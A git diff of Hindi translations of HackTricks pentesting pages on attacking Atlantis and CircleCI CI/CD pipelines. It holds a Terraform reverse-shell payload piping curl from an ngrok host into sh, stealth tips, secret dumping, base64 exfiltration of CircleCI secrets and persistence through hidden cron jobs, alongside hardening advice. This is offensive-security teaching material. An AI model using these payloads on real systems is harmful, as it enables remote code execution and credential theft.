-आप ऐसा [**Atlantis को एक बाहरी डेटा स्रोत लोड करने**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) के द्वारा कर सकते हैं। बस `main.tf` फ़ाइल में निम्नलिखित की तरह एक पेलोड डालें:
+आप ऐसा [**Atlantis को एक बाहरी डेटा स्रोत लोड करने**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) द्वारा कर सकते हैं। बस `main.tf` फ़ाइल में निम्नलिखित की तरह एक पेलोड डालें:
```json
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
@@ -184,37 +184,37 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"
आप इस अटैक को एक **स्टेल्थियर तरीके** से भी कर सकते हैं, इन सुझावों का पालन करके:
-- टेराफॉर्म फ़ाइल में सीधे रेव शेल जोड़ने के बजाय, आप **एक बाहरी संसाधन लोड** कर सकते हैं जिसमें रेव शेल हो:
+- Terraform फ़ाइल में सीधे रेव शेल जोड़ने के बजाय, आप **एक बाहरी संसाधन** लोड कर सकते हैं जिसमें रेव शेल हो:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
-आप रिव शेल कोड [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) पर पा सकते हैं।
+आप रिव शेल कोड [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) में पा सकते हैं।
-- बाहरी संसाधन में, **ref** फ़ीचर का उपयोग करें ताकि **repo के अंदर एक शाखा में terraform rev shell कोड को छिपा सकें**, कुछ इस तरह: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
-- **PR को मास्टर** में बनाने के बजाय Atlantis को ट्रिगर करने के लिए, **2 शाखाएँ** (test1 और test2) बनाएं और एक से दूसरी के लिए **PR बनाएं**। जब आप हमले को पूरा कर लें, तो बस **PR और शाखाओं को हटा दें**।
+- बाहरी संसाधन में, **ref** फीचर का उपयोग करें ताकि **repo के अंदर एक शाखा में terraform rev shell कोड** छिपा सकें, कुछ इस तरह: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- **PR को मास्टर** में बनाने के बजाय, **2 शाखाएँ** (test1 और test2) बनाएं और एक से दूसरी के लिए **PR बनाएं**। जब आप हमले को पूरा कर लें, तो बस **PR और शाखाओं को हटा दें**।
#### Atlantis योजना रहस्यों का डंप
-आप **atlantis plan** (`terraform plan`) चलाकर उपयोग किए गए रहस्यों को डंप कर सकते हैं, जैसे कि terraform फ़ाइल में कुछ इस तरह डालकर:
+आप **terraform द्वारा उपयोग किए गए रहस्यों को डंप** कर सकते हैं `atlantis plan` (`terraform plan`) चलाकर, terraform फ़ाइल में कुछ इस तरह डालकर:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
}
```
-#### Atlantis apply RCE - Config modification in new PR
+#### Atlantis apply RCE - नए PR में कॉन्फ़िगरेशन संशोधन
यदि आपके पास एक रिपॉजिटरी पर लिखने की अनुमति है, तो आप उस पर एक नई शाखा बना सकते हैं और एक PR उत्पन्न कर सकते हैं। यदि आप **`atlantis apply` निष्पादित कर सकते हैं, तो आप Atlantis सर्वर के अंदर RCE प्राप्त कर सकते हैं**।
हालांकि, आपको आमतौर पर कुछ सुरक्षा उपायों को बायपास करने की आवश्यकता होगी:
- **Mergeable**: यदि यह सुरक्षा Atlantis में सेट है, तो आप केवल **`atlantis apply` चला सकते हैं यदि PR मर्ज करने योग्य है** (जिसका मतलब है कि शाखा सुरक्षा को बायपास करना होगा)।
-- संभावित [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) की जांच करें
+- संभावित [**शाखा सुरक्षा बायपास**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) की जांच करें
- **Approved**: यदि यह सुरक्षा Atlantis में सेट है, तो कुछ **अन्य उपयोगकर्ता को PR को स्वीकृत करना होगा** इससे पहले कि आप `atlantis apply` चला सकें
-- डिफ़ॉल्ट रूप से, आप [**Gitbot टोकन का दुरुपयोग करके इस सुरक्षा को बायपास कर सकते हैं**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
+- डिफ़ॉल्ट रूप से, आप इस सुरक्षा को बायपास करने के लिए [**Gitbot टोकन का दुरुपयोग कर सकते हैं**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
-एक दुर्भावनापूर्ण Terraform फ़ाइल पर **`terraform apply` चलाना** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**।**\
+**`terraform apply` को एक दुर्भावनापूर्ण Terraform फ़ाइल पर चलाना** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**।**\
आपको बस यह सुनिश्चित करने की आवश्यकता है कि निम्नलिखित जैसे कुछ पेलोड `main.tf` फ़ाइल में समाप्त हो जाएं:
```json
// Payload 1 to just steal a secret
@@ -231,11 +231,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
-**पिछली तकनीक से सुझावों का पालन करें** ताकि इस हमले को **छिपे हुए तरीके** से किया जा सके।
+पिछली तकनीक से **सुझावों का पालन करें** ताकि इस हमले को **छिपे हुए तरीके** से किया जा सके।
-#### Terraform पैरामीटर इंजेक्शन
+#### Terraform Param Injection
-जब `atlantis plan` या `atlantis apply` चलाया जाता है, तो terraform नीचे चल रहा होता है, आप atlantis से terraform को कुछ इस तरह से कमांड पास कर सकते हैं:
+जब `atlantis plan` या `atlantis apply` चलाया जाता है, तो terraform नीचे चल रहा होता है, आप atlantis से terraform को कुछ इस तरह कमांड पास कर सकते हैं:
```bash
atlantis plan --
atlantis plan -- -h #Get terraform plan help
@@ -243,15 +243,15 @@ atlantis plan -- -h #Get terraform plan help
atlantis apply --
atlantis apply -- -h #Get terraform apply help
```
-कुछ चीजें जो आप पास कर सकते हैं वे env वेरिएबल्स हैं जो कुछ सुरक्षा उपायों को बायपास करने में सहायक हो सकते हैं। [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) में terraform env vars की जांच करें।
+आप जो पास कर सकते हैं वे env वेरिएबल हैं जो कुछ सुरक्षा उपायों को बायपास करने में सहायक हो सकते हैं। [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) में terraform env vars की जांच करें।
#### कस्टम वर्कफ़्लो
-`atlantis.yaml` फ़ाइल में निर्दिष्ट **दुष्ट कस्टम बिल्ड कमांड** चलाना। Atlantis पुल अनुरोध शाखा से `atlantis.yaml` फ़ाइल का उपयोग करता है, **नहीं** `master` की।\
+**malicious custom build commands** को `atlantis.yaml` फ़ाइल में निर्दिष्ट करना। Atlantis पुल अनुरोध शाखा से `atlantis.yaml` फ़ाइल का उपयोग करता है, **master** की नहीं।\
इस संभावना का उल्लेख पिछले अनुभाग में किया गया था:
> [!CAUTION]
-> यदि [**सर्वर साइड कॉन्फ़िग**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) ध्वज `allow_custom_workflows` **True** पर सेट है, तो वर्कफ़्लो को प्रत्येक रेपो की **`atlantis.yaml`** फ़ाइल में **निर्दिष्ट** किया जा सकता है। यह भी संभावित रूप से आवश्यक है कि **`allowed_overrides`** **`workflow`** को **ओवरराइड करने** के लिए भी निर्दिष्ट करता है जो उपयोग किया जाने वाला है।
+> यदि [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) ध्वज `allow_custom_workflows` को **True** पर सेट किया गया है, तो वर्कफ़्लो को प्रत्येक रेपो की **`atlantis.yaml`** फ़ाइल में **निर्दिष्ट** किया जा सकता है। यह भी संभावित रूप से आवश्यक है कि **`allowed_overrides`** **`workflow`** को **override करने** के लिए भी निर्दिष्ट करता है जो उपयोग किया जाने वाला है।
>
> यह मूल रूप से **Atlantis सर्वर में किसी भी उपयोगकर्ता को RCE देगा जो उस रेपो तक पहुँच सकता है**।
>
@@ -272,9 +272,9 @@ atlantis apply -- -h #Get terraform apply help
> - run: my custom apply command
> ```
-#### योजना/लागू सुरक्षा उपायों को बायपास करना
+#### योजना/लागू सुरक्षा को बायपास करना
-यदि [**सर्वर साइड कॉन्फ़िग**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) ध्वज `allowed_overrides` _has_ `apply_requirements` कॉन्फ़िगर किया गया है, तो एक रेपो के लिए **योजना/लागू सुरक्षा उपायों को बायपास करने के लिए संशोधित करना** संभव है।
+यदि [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) ध्वज `allowed_overrides` _has_ `apply_requirements` कॉन्फ़िगर किया गया है, तो एक रेपो के लिए **योजना/लागू सुरक्षा को बायपास करने के लिए संशोधित करना** संभव है।
```yaml
repos:
- id: /.*/
@@ -282,9 +282,9 @@ apply_requirements: []
```
#### PR Hijacking
-यदि कोई आपके मान्य पुल अनुरोधों पर **`atlantis plan/apply` टिप्पणियाँ भेजता है,** तो यह terraform को चलाने का कारण बनेगा जब आप नहीं चाहते।
+यदि कोई आपके वैध पुल अनुरोधों पर **`atlantis plan/apply` टिप्पणियाँ भेजता है,** तो यह terraform को चलाने का कारण बनेगा जब आप नहीं चाहते।
-इसके अलावा, यदि आपने **branch protection** में यह कॉन्फ़िगर नहीं किया है कि जब एक **नया कमिट इसे धकेला जाता है** तो हर PR को **फिर से मूल्यांकन** करने के लिए कहा जाए, तो कोई **दुष्ट कॉन्फ़िग्स** (पिछले परिदृश्यों की जांच करें) terraform कॉन्फ़िग में लिख सकता है, `atlantis plan/apply` चला सकता है और RCE प्राप्त कर सकता है।
+इसके अलावा, यदि आपने **branch protection** में यह कॉन्फ़िगर नहीं किया है कि जब एक **नया कमिट डाला जाता है** तो हर PR को **फिर से मूल्यांकन** करने के लिए कहा जाए, तो कोई **दुष्ट कॉन्फ़िगरेशन** (पिछले परिदृश्यों की जांच करें) terraform कॉन्फ़िगरेशन में लिख सकता है, `atlantis plan/apply` चला सकता है और RCE प्राप्त कर सकता है।
यह Github branch protections में **सेटिंग** है:
@@ -292,11 +292,11 @@ apply_requirements: []
#### Webhook Secret
-यदि आप **webhook secret** चुराने में सफल होते हैं या यदि कोई **webhook secret** उपयोग नहीं हो रहा है, तो आप **Atlantis webhook** को **call** कर सकते हैं और **atlatis commands** सीधे **invoke** कर सकते हैं।
+यदि आप **webhook secret** चुराने में सफल होते हैं या यदि कोई **webhook secret** उपयोग नहीं किया जा रहा है, तो आप **Atlantis webhook** को **कॉल** कर सकते हैं और **atlatis कमांड** सीधे निष्पादित कर सकते हैं।
#### Bitbucket
-Bitbucket Cloud **webhook secrets** का समर्थन नहीं करता है। यह हमलावरों को **Bitbucket से अनुरोधों की नकल** करने की अनुमति दे सकता है। सुनिश्चित करें कि आप केवल Bitbucket IPs की अनुमति दे रहे हैं।
+Bitbucket Cloud **webhook secrets** का समर्थन नहीं करता। यह हमलावरों को **Bitbucket से अनुरोधों की नकल** करने की अनुमति दे सकता है। सुनिश्चित करें कि आप केवल Bitbucket IPs की अनुमति दे रहे हैं।
- इसका मतलब है कि एक **हमलावर** **Atlantis** के लिए **फर्जी अनुरोध** कर सकता है जो ऐसा दिखता है जैसे वे Bitbucket से आ रहे हैं।
- यदि आप `--repo-allowlist` निर्दिष्ट कर रहे हैं तो वे केवल उन रिपोजिटरी से संबंधित फर्जी अनुरोध कर सकते हैं, इसलिए वे जो सबसे अधिक नुकसान कर सकते हैं वह आपके अपने रिपोजिटरी पर plan/apply करना होगा।
@@ -325,7 +325,7 @@ Bitbucket Cloud **webhook secrets** का समर्थन नहीं क
#### `--repo-allowlist`
-Atlantis को आपको `--repo-allowlist` ध्वज के माध्यम से स्वीकार किए जाने वाले रिपोजिटरी की एक allowlist निर्दिष्ट करने की आवश्यकता है। उदाहरण के लिए:
+Atlantis को आपको `--repo-allowlist` ध्वज के माध्यम से वेबहुक स्वीकार करने के लिए रिपोजिटरी की एक allowlist निर्दिष्ट करने की आवश्यकता है। उदाहरण के लिए:
- विशिष्ट रिपोजिटरी: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
- आपका पूरा संगठन: `--repo-allowlist=github.com/runatlantis/*`
@@ -336,23 +336,23 @@ Atlantis को आपको `--repo-allowlist` ध्वज के माध्
#### Protect Terraform Planning
-यदि हमलावर दुष्ट Terraform कोड के साथ पुल अनुरोध प्रस्तुत कर रहे हैं तो यह आपके खतरे के मॉडल में है, तो आपको यह जानना चाहिए कि `terraform apply` अनुमतियाँ पर्याप्त नहीं हैं। यह [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) का उपयोग करके या एक दुष्ट प्रदाता निर्दिष्ट करके `terraform plan` में दुष्ट कोड चलाना संभव है। यह कोड फिर आपके क्रेडेंशियल्स को एक्सफिल्ट्रेट कर सकता है।
+यदि आपके खतरे के मॉडल में हमलावरों द्वारा दुष्ट Terraform कोड के साथ पुल अनुरोध प्रस्तुत करना शामिल है, तो आपको यह जानना चाहिए कि `terraform apply` अनुमतियाँ पर्याप्त नहीं हैं। यह [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) का उपयोग करके या एक दुष्ट प्रदाता निर्दिष्ट करके `terraform plan` में दुष्ट कोड चलाना संभव है। यह कोड फिर आपके क्रेडेंशियल्स को एक्सफिल्ट्रेट कर सकता है।
इससे बचने के लिए, आप कर सकते हैं:
1. प्रदाताओं को Atlantis छवि में बेक करें या होस्ट करें और उत्पादन में ईग्रेस को अस्वीकार करें।
2. आंतरिक रूप से प्रदाता रजिस्ट्री प्रोटोकॉल लागू करें और सार्वजनिक ईग्रेस को अस्वीकार करें, इस तरह आप नियंत्रित करते हैं कि किसके पास रजिस्ट्री में लिखने का अधिकार है।
-3. अपने [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html) के `plan` चरण को संशोधित करें ताकि अवैध प्रदाताओं या डेटा स्रोतों या अनुमति न दिए गए उपयोगकर्ताओं से PRs के उपयोग के खिलाफ मान्य किया जा सके। आप इस बिंदु पर अतिरिक्त मान्यता भी जोड़ सकते हैं, जैसे PR पर "thumbs-up" की आवश्यकता करना इससे पहले कि `plan` जारी रखने की अनुमति दी जाए। Conftest यहाँ उपयोगी हो सकता है।
+3. अपने [सर्वर-साइड रिपोजिटरी कॉन्फ़िगरेशन](https://www.runatlantis.io/docs/server-side-repo-config.html) के `plan` चरण को संशोधित करें ताकि अवैध प्रदाताओं या डेटा स्रोतों या अनुमति न दिए गए उपयोगकर्ताओं से PRs के उपयोग के खिलाफ मान्य किया जा सके। आप इस बिंदु पर अतिरिक्त मान्यता भी जोड़ सकते हैं, जैसे PR पर "thumbs-up" की आवश्यकता करना इससे पहले कि `plan` जारी रखने की अनुमति दी जाए। Conftest यहाँ उपयोगी हो सकता है।
#### Webhook Secrets
-Atlantis को Webhook secrets के साथ चलाना चाहिए जो `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` पर्यावरण वेरिएबल के माध्यम से सेट किए गए हैं। `--repo-allowlist` ध्वज सेट होने के बावजूद, बिना webhook secret के, हमलावर Atlantis को एक ऐसे रिपोजिटरी के रूप में अनुरोध कर सकते हैं जो allowlisted है। Webhook secrets सुनिश्चित करते हैं कि webhook अनुरोध वास्तव में आपके VCS प्रदाता (GitHub या GitLab) से आ रहे हैं।
+Atlantis को `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` पर्यावरण वेरिएबल के माध्यम से सेट किए गए Webhook secrets के साथ चलाना चाहिए। `--repo-allowlist` ध्वज सेट होने के बावजूद, बिना webhook secret के, हमलावर Atlantis को एक ऐसे रिपोजिटरी के रूप में अनुरोध कर सकते हैं जो allowlisted है। Webhook secrets यह सुनिश्चित करते हैं कि वेबहुक अनुरोध वास्तव में आपके VCS प्रदाता (GitHub या GitLab) से आ रहे हैं।
यदि आप Azure DevOps का उपयोग कर रहे हैं, तो webhook secrets के बजाय एक बुनियादी उपयोगकर्ता नाम और पासवर्ड जोड़ें।
#### Azure DevOps Basic Authentication
-Azure DevOps सभी webhook घटनाओं में एक बुनियादी प्रमाणीकरण हेडर भेजने का समर्थन करता है। इसके लिए आपके webhook स्थान के लिए HTTPS URL का उपयोग करना आवश्यक है।
+Azure DevOps सभी वेबहुक घटनाओं में एक बुनियादी प्रमाणीकरण हेडर भेजने का समर्थन करता है। इसके लिए आपके वेबहुक स्थान के लिए HTTPS URL का उपयोग करना आवश्यक है।
#### SSL/HTTPS
@@ -362,7 +362,7 @@ Azure DevOps सभी webhook घटनाओं में एक बुनि
वेब सेवा में प्रमाणीकरण सक्षम करना अत्यधिक अनुशंसित है। `--web-basic-auth=true` का उपयोग करके BasicAuth सक्षम करें और `--web-username=yourUsername` और `--web-password=yourPassword` ध्वजों का उपयोग करके एक उपयोगकर्ता नाम और पासवर्ड सेट करें।
-आप इनको पर्यावरण वेरिएबल के रूप में भी पास कर सकते हैं `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` और `ATLANTIS_WEB_PASSWORD=yourPassword`।
+आप इन्हें पर्यावरण वेरिएबल के रूप में भी पास कर सकते हैं `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` और `ATLANTIS_WEB_PASSWORD=yourPassword`।
### References
diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md
index a38da88a0..0afcb692a 100644
--- a/src/pentesting-ci-cd/circleci-security.md
+++ b/src/pentesting-ci-cd/circleci-security.md
@@ -4,22 +4,22 @@
### बुनियादी जानकारी
-[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) एक निरंतर एकीकरण प्लेटफार्म है जहाँ आप **टेम्पलेट्स** परिभाषित कर सकते हैं जो यह बताती हैं कि आप इसे कुछ कोड के साथ क्या करना चाहते हैं और कब करना चाहते हैं। इस तरह आप **परीक्षण** या **तैनाती** को सीधे **अपने रेपो के मास्टर ब्रांच** से स्वचालित कर सकते हैं, उदाहरण के लिए।
+[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) एक निरंतर एकीकरण प्लेटफार्म है जहाँ आप **टेम्पलेट्स** परिभाषित कर सकते हैं जो यह बताती हैं कि आप इसे कुछ कोड के साथ क्या करना चाहते हैं और कब करना चाहते हैं। इस तरह आप **परीक्षण** या **डिप्लॉयमेंट** को सीधे **अपने रेपो मास्टर ब्रांच** से स्वचालित कर सकते हैं, उदाहरण के लिए।
### अनुमतियाँ
-**CircleCI** **अनुमतियाँ विरासत में लेता है** github और bitbucket से संबंधित **खाते** से जो लॉग इन करता है।\
+**CircleCI** **अनुमतियाँ विरासत में लेता है** जो github और bitbucket से संबंधित हैं उस **खाते** से जो लॉग इन करता है।\
मेरी परीक्षण में मैंने यह जांचा कि जब तक आपके पास **github में रेपो पर लिखने की अनुमतियाँ हैं**, आप **CircleCI में इसके प्रोजेक्ट सेटिंग्स को प्रबंधित करने में सक्षम होंगे** (नए ssh कुंजी सेट करें, प्रोजेक्ट api कुंजी प्राप्त करें, नए CircleCI कॉन्फ़िग्स के साथ नए ब्रांच बनाएं...)।
हालांकि, आपको **CircleCI प्रोजेक्ट में रेपो को परिवर्तित करने** के लिए **रेपो प्रशासक** होना आवश्यक है।
### पर्यावरण चर और रहस्य
-[**दस्तावेज़ों**](https://circleci.com/docs/2.0/env-vars/) के अनुसार, कार्यप्रवाह के भीतर **पर्यावरण चर में मान लोड करने** के विभिन्न तरीके हैं।
+[**दस्तावेज़ों के अनुसार**](https://circleci.com/docs/2.0/env-vars/) कार्यप्रवाह के भीतर **पर्यावरण चर में मान लोड करने** के विभिन्न तरीके हैं।
#### अंतर्निहित पर्यावरण चर
-CircleCI द्वारा चलाए गए प्रत्येक कंटेनर में हमेशा [**दस्तावेज़ में परिभाषित विशिष्ट पर्यावरण चर**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) होंगे जैसे `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` या `CIRCLE_USERNAME`।
+CircleCI द्वारा चलाए गए प्रत्येक कंटेनर में हमेशा [**दस्तावेज़ में परिभाषित विशिष्ट env vars**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) होंगे जैसे `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` या `CIRCLE_USERNAME`।
#### स्पष्ट पाठ
@@ -59,17 +59,17 @@ SECRET: A secret
```
#### प्रोजेक्ट रहस्य
-ये **रहस्य** केवल **प्रोजेक्ट** द्वारा (किसी भी **शाखा** द्वारा) **पहुँचने योग्य** होंगे।\
+ये **रहस्य** हैं जो केवल **प्रोजेक्ट** (किसी भी **शाखा** द्वारा) द्वारा **पहुँच योग्य** होंगे।\
आप इन्हें _https://app.circleci.com/settings/project/github/\/\/environment-variables_ में **घोषित** होते हुए देख सकते हैं।
.png>)
> [!CAUTION]
-> "**आयात वेरिएबल्स**" कार्यक्षमता **अन्य प्रोजेक्ट्स** से इस प्रोजेक्ट में **वेरिएबल्स आयात** करने की अनुमति देती है।
+> "**इंपोर्ट वेरिएबल्स**" कार्यक्षमता **अन्य प्रोजेक्ट्स से वेरिएबल्स को इस प्रोजेक्ट में इंपोर्ट** करने की अनुमति देती है।
#### संदर्भ रहस्य
-ये रहस्य **संगठन स्तर** पर हैं। **डिफ़ॉल्ट रूप से कोई भी रेपो** यहाँ संग्रहीत **किसी भी रहस्य** तक पहुँचने में सक्षम होगा:
+ये रहस्य **संगठन स्तर** पर हैं। **डिफ़ॉल्ट रूप से कोई भी रेपो** यहाँ संग्रहीत **किसी भी रहस्य** को **पहुँच** सकेगा:
.png>)
@@ -81,19 +81,19 @@ SECRET: A secret
#### स्पष्ट पाठ रहस्यों की खोज
-यदि आपके पास **VCS** (जैसे github) तक **पहुँच** है, तो **प्रत्येक शाखा पर प्रत्येक रेपो** की फ़ाइल `.circleci/config.yml` की जाँच करें और वहाँ संग्रहीत संभावित **स्पष्ट पाठ रहस्यों** के लिए **खोजें**।
+यदि आपके पास **VCS** (जैसे github) तक **पहुँच** है, तो **प्रत्येक शाखा पर प्रत्येक रेपो** की `.circleci/config.yml` फ़ाइल की जाँच करें और वहाँ संग्रहीत संभावित **स्पष्ट पाठ रहस्यों** के लिए **खोजें**।
#### रहस्य पर्यावरण वेरिएबल्स और संदर्भ गणना
-कोड की जाँच करते समय आप प्रत्येक `.circleci/config.yml` फ़ाइल में **सभी रहस्य नाम** पा सकते हैं जो **उपयोग** किए जा रहे हैं। आप उन फ़ाइलों से **संदर्भ नाम** भी प्राप्त कर सकते हैं या उन्हें वेब कंसोल में देख सकते हैं: _https://app.circleci.com/settings/organization/github/\/contexts_।
+कोड की जाँच करते समय आप **सभी रहस्य नाम** पा सकते हैं जो प्रत्येक `.circleci/config.yml` फ़ाइल में **उपयोग** किए जा रहे हैं। आप उन फ़ाइलों से **संदर्भ नाम** भी प्राप्त कर सकते हैं या उन्हें वेब कंसोल में देख सकते हैं: _https://app.circleci.com/settings/organization/github/\/contexts_।
#### प्रोजेक्ट रहस्यों को निकालना
> [!WARNING]
-> **सभी** प्रोजेक्ट और संदर्भ **रहस्यों** को **निकालने** के लिए आपको **सिर्फ 1 रेपो** में **लिखने** की पहुँच होनी चाहिए (_और आपके खाते को संदर्भों तक पहुँच होनी चाहिए लेकिन डिफ़ॉल्ट रूप से सभी को हर संदर्भ तक पहुँच मिलती है_)।
+> **सभी** प्रोजेक्ट और संदर्भ **रहस्यों** को **निकालने** के लिए आपको **सिर्फ 1 रेपो** में **लिखने** की अनुमति होनी चाहिए (_और आपके खाते को संदर्भों तक पहुँच होनी चाहिए लेकिन डिफ़ॉल्ट रूप से सभी को हर संदर्भ तक पहुँच मिलती है_)।
> [!CAUTION]
-> "**आयात वेरिएबल्स**" कार्यक्षमता **अन्य प्रोजेक्ट्स** से इस प्रोजेक्ट में **वेरिएबल्स आयात** करने की अनुमति देती है। इसलिए, एक हमलावर **सभी रेपो से सभी प्रोजेक्ट वेरिएबल्स आयात** कर सकता है और फिर **सभी को एक साथ निकाल सकता है**।
+> "**इंपोर्ट वेरिएबल्स**" कार्यक्षमता **अन्य प्रोजेक्ट्स से वेरिएबल्स को इस प्रोजेक्ट में इंपोर्ट** करने की अनुमति देती है। इसलिए, एक हमलावर **सभी रेपो से सभी प्रोजेक्ट वेरिएबल्स को इंपोर्ट** कर सकता है और फिर **सभी को एक साथ निकाल सकता है**।
सभी प्रोजेक्ट रहस्य हमेशा नौकरियों के वातावरण में सेट होते हैं, इसलिए बस env को कॉल करना और इसे base64 में छिपाना रहस्यों को **कार्यप्रवाह वेब लॉग कंसोल** में निकाल देगा:
```yaml
@@ -194,10 +194,10 @@ context: Test-Context
> [!WARNING]
> एक नया `.circleci/config.yml` बनाना **circleci बिल्ड को ट्रिगर करने के लिए पर्याप्त नहीं है**। आपको **इसे circleci कंसोल में एक प्रोजेक्ट के रूप में सक्षम करना होगा**।
-#### क्लाउड में भागें
+#### क्लाउड में एस्केप
-**CircleCI** आपको **अपने बिल्ड को उनके मशीनों या अपने खुद के मशीनों में चलाने का विकल्प देता है**।\
-डिफ़ॉल्ट रूप से, उनके मशीन GCP में स्थित हैं, और आप प्रारंभ में कुछ भी प्रासंगिक नहीं पा सकेंगे। हालाँकि, यदि एक पीड़ित **अपने खुद के मशीनों (संभवतः, एक क्लाउड वातावरण में)** में कार्य चला रहा है, तो आप एक **क्लाउड मेटाडेटा एंडपॉइंट पा सकते हैं जिसमें दिलचस्प जानकारी हो सकती है**।
+**CircleCI** आपको **अपने बिल्ड को उनकी मशीनों या अपनी मशीनों में चलाने का विकल्प देता है**।\
+डिफ़ॉल्ट रूप से, उनकी मशीनें GCP में स्थित हैं, और आप प्रारंभ में कुछ प्रासंगिक नहीं पा सकेंगे। हालाँकि, यदि एक पीड़ित **अपनी मशीनों (संभवतः, एक क्लाउड वातावरण में)** में कार्य चला रहा है, तो आप **दिलचस्प जानकारी के साथ एक क्लाउड मेटाडेटा एंडपॉइंट** पा सकते हैं।
ध्यान दें कि पिछले उदाहरणों में सब कुछ एक डॉकर कंटेनर के अंदर लॉन्च किया गया था, लेकिन आप **एक VM मशीन लॉन्च करने के लिए भी कह सकते हैं** (जिसके पास विभिन्न क्लाउड अनुमतियाँ हो सकती हैं):
```yaml
@@ -208,7 +208,7 @@ exfil-env:
machine:
image: ubuntu-2004:current
```
-या यहां तक कि एक डॉकर कंटेनर जो एक दूरस्थ डॉकर सेवा तक पहुंच रखता है:
+या तो एक डॉकर कंटेनर जो एक दूरस्थ डॉकर सेवा तक पहुंच रखता है:
```yaml
jobs:
exfil-env:
@@ -221,15 +221,15 @@ version: 19.03.13
```
#### Persistence
-- CircleCI में **उपयोगकर्ता टोकन** **बनाना** संभव है ताकि उपयोगकर्ता की पहुंच के साथ API एंडपॉइंट्स तक पहुंचा जा सके।
+- CircleCI में API endpoints तक उपयोगकर्ता की पहुंच के साथ **उपयोगकर्ता टोकन** **बनाना** संभव है।
- _https://app.circleci.com/settings/user/tokens_
-- **प्रोजेक्ट टोकन** **बनाना** संभव है ताकि टोकन को दिए गए अनुमतियों के साथ प्रोजेक्ट तक पहुंचा जा सके।
+- **प्रोजेक्ट टोकन** बनाना संभव है ताकि टोकन को दिए गए अनुमतियों के साथ प्रोजेक्ट तक पहुंचा जा सके।
- _https://app.circleci.com/settings/project/github/\/\/api_
-- प्रोजेक्ट्स में **SSH कुंजी** **जोड़ना** संभव है।
+- प्रोजेक्ट में **SSH कुंजी** जोड़ना संभव है।
- _https://app.circleci.com/settings/project/github/\/\/ssh_
-- एक अप्रत्याशित प्रोजेक्ट में **छिपी शाखा में क्रॉन जॉब** **बनाना** संभव है जो हर दिन सभी **संदर्भ env** वेरिएबल्स **लीक** कर रहा है।
-- या यहां तक कि एक शाखा में **बनाना** / एक ज्ञात जॉब को संशोधित करना जो हर दिन सभी संदर्भ और **प्रोजेक्ट्स के रहस्यों** को **लीक** करेगा।
-- यदि आप एक गिटहब मालिक हैं, तो आप **असत्यापित ऑर्ब्स** की **अनुमति** दे सकते हैं और एक जॉब में इसे **बैकडोर** के रूप में कॉन्फ़िगर कर सकते हैं।
-- आप कुछ कार्यों में **कमांड इंजेक्शन भेद्यता** पा सकते हैं और **गुप्त** के मान को संशोधित करके **कमांड** **इंजेक्ट** कर सकते हैं।
+- एक अप्रत्याशित प्रोजेक्ट में **छिपी शाखा** में **क्रॉन जॉब** **बनाना** संभव है जो हर दिन सभी **संदर्भ env** vars **लीक** कर रहा है।
+- या यहां तक कि एक शाखा में बनाना / एक ज्ञात जॉब को संशोधित करना जो हर दिन सभी संदर्भ और **प्रोजेक्ट्स सीक्रेट्स** **लीक** करेगा।
+- यदि आप एक गिटहब मालिक हैं तो आप **असत्यापित ऑर्ब्स** की अनुमति दे सकते हैं और एक जॉब में इसे **बैकडोर** के रूप में कॉन्फ़िगर कर सकते हैं।
+- आप कुछ कार्यों में **कमांड इंजेक्शन भेद्यता** पा सकते हैं और इसके मान को संशोधित करके **कमांड** **इंजेक्ट** कर सकते हैं।
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md
